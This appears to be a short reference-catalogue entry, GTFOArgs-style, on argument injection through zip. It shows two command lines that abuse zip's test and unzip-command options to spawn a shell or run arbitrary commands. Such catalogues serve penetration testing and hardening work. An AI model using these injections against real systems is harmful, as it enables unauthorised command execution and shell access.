argument community v1.0.0

zip

Argument injection via zip

📋 Live Preview 
zip
zip

Sandbox: execFile · Timeout: 30s

Capabilities

security.execution.command

Examples

Can be used to execute arbitrary commands on a system and spawn shells either directly or otherwise.

zip /tmp/out.zip /etc/hostname -T --unzip-command="sh #"

Can be used to execute arbitrary commands on a system. Specifics vary depending on the version of zip used.

zip /tmp/out.zip /etc/hostname -T --unzip-command="uname -a #"

Documentation

zip

GTFOArgs entry for zip. This binary can be used to inject arguments for execution, file operations, or other capabilities.

References